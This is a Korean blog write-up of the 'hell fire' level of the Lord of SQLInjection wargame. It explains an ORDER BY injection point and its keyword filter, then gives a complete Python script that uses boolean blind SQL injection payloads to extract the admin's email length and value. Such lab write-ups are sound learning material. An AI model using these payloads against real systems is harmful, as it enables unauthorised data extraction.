본문 바로가기

web/Lord of SQLInjection

Lord of SQLInjection - 23번 : hell fire

상당히 많은 삽질이 있었던 문제다.

문제가 크게 어렵진 않은데 python 코드를 잘못짜서 상당히 오래 걸렸던 문제...

문제를 살펴보도록 하자.

문제 살펴보기

los hell fire 문제

 

새로운 유형의 문제가 등장했다.

문제 길이로만 보아서는 또 blind sql injection 문제가 아닐까 생각되는데

우선 코드를 살펴보도록 하자.

 

 

 

 

 

if(preg_match('/prob|_|\.|proc|union/i'$_GET[order])) exit("No Hack ~_~");

 

pw가 아닌 order 파라미터를 통해 데이터를 전달할 수 있다.

prob, _ ., proc, union을 필터링하고 있다.

union based sql injection 문제는 아닌 것 같다.

 

 

 

 

 

                           $query "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
                           echo
"<table border=1><tr><th>id</th><th>email</th><th>score</th>";
                           
$rows mysqli_query($db,$query);
                           while((
$result mysqli_fetch_array($rows))){
                               if(
$result['id'] == "admin"$result['email'] = "**************";
                               echo
"<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";

                           }

 

order by를 통해서 행들을 정렬한 후 이를 table을 만들어서 보여준다.

 

 

 

 

 

order by 1은 id, 2는 email, 3은 score를 기준으로 정렬한다.

id를 기준으로 정렬했을 경우

 

 

 

 

 

email을 기준으로 정렬했을 경우

 

 

 

 

 

score를 기준으로 정렬했을 경우

 

score를 기준으로 정렬했을 경우

id가 rubiya인 행이 id가 admin인 행보다 위에 있는 것을 볼 수 있다.

if문을 사용할 때 이를 이용하면 될 것 같다.

order by에 대한 설명은 따로 하지 않겠다.

 

 

 

 

 

                          $_GET[email] = addslashes($_GET[email]);
                         
$query "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";

                          $result = @mysqli_fetch_array(mysqli_query($db,$query));
                          if((
$result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");

 

table이 보여지는 것을 이용하여 blind sql injection을 수행하면서

id가 admin인 행의 email 값을 구해야 하는 문제이다.

크게 어려울건 없을 것 같으니 바로 문제를 풀어보도록 하자.

 

 

 

 

 

문제 풀이 과정

if 문을 사용하여 참일 경우는 1을 반환, 거짓일 경우는 3을 반환하도록 하고,

이를 통해 테이블의 변화를 확인하면서 원하는 값을 구하면 될 것 같다.

 

 

 

 

 


admin = "<tr><td>admin</td><td>**************</td><td>200</td></tr>"
rubiya = "<tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr>"

 

우선 이렇게 admin과 rubiya 변수를 만들어서 문자열을 저장해두었다.

 

 

 

 

 


def find_admin_email_length():     #id='admin'인 행의 email의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'order': "if(id='admin' and length(email)>"+str(i)+",1,3)"}
        #?order=if(id='admin' and length(email)>i,1,3)
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if(rubiya+admin in res.text):                       #i 값이 length(email)일 경우
            return i                                        #rubiya가 admin보다 먼저 출력됨
 

 

위 코드를 실행시키면 아래와 같은 결과가 나온다.

 

 

 

 

 


email_length = find_admin_email_length()
print("length :", email_length)
 

 

email 값의 길이

 

좀 길이가 길다... brute force로 값을 구하는데 한참 걸릴 것 같다.

실제로는 다른 이유로 오래 걸렸다...

 

 

 

 

 

       
def find_email(length):      
    email = ""
    for i in range(1, length+1):    #email의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'order': "if(id='admin' and substr(email,"+str(i)+",1)=char("+str(ord(char))+"),1,3)"}
            #?order=if(id='admin' and substr(email,i,1)=char(ascii값),1,3)
            res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
            if(admin+rubiya in res.text):                       #if문이 참일 경우 admin이 rubiya보다 먼저 출력됨
                email+=char        
                break
    return email
 

 

위 코드는 email 값을 구하는 코드이다.

처음에는 = 대신 like를 썼는데 email에 특수문자가 포함되어 있어서

'%'를 검사하는 순간 해당 if문을 무조건 참으로 만들어버렸다.

( e.g. email like 'admin%%' => 참)

 

이를 수정한 후 다시 brute force로 값을 찾던 중

'_'가 preg_match()에 걸려서 값이 제대로 구해지지 않았다.

또 다시 삽질 후에 마지막으로 완성시킨 코드가 위의 코드이다.

위 코드를 실행시켜보자.

 

 

 

 

 

 
email_value = find_email(email_length)
print("email :", email_value)
 

 

admin의 email 값

 

오랜 시간 끝에 드디어 email 값을 구했다.

 

 

 

 

 

hell fire clear

 

전체 python 코드


import requests as req
import string

cookies = {'PHPSESSID' : '쿠키값'}      #cookie 값
chars = string.digits+string.ascii_letters+string.punctuation     #숫자+알파벳+특수문자

admin = "<tr><td>admin</td><td>**************</td><td>200</td></tr>"
rubiya = "<tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr>"

def find_admin_email_length():     #id='admin'인 행의 email의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'order': "if(id='admin' and length(email)>"+str(i)+",1,3)"}
        #?order=if(id='admin' and length(email)>i,1,3)
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if(rubiya+admin in res.text):                       #i 값이 length(email)일 경우
            return i                                        #rubiya가 admin보다 먼저 출력됨
       
def find_email(length):      
    email = ""
    for i in range(1, length+1):    #email의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'order': "if(id='admin' and substr(email,"+str(i)+",1)=char("+str(ord(char))+"),1,3)"}
            #?order=if(id='admin' and substr(email,i,1)=char(ascii값),1,3)
            res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
            if(admin+rubiya in res.text):                       #if문이 참일 경우 admin이 rubiya보다 먼저 출력됨
                email+=char        
                break
    return email
 

 

 

 

 

 

문제가 어려운 편은 아니었으나 본인의 잘못으로 상당히 오래 걸렸던 문제...

사람들이 ord 함수나 ascii 함수 등을 굳이 쓰는 이유를 알게 된 문제였다.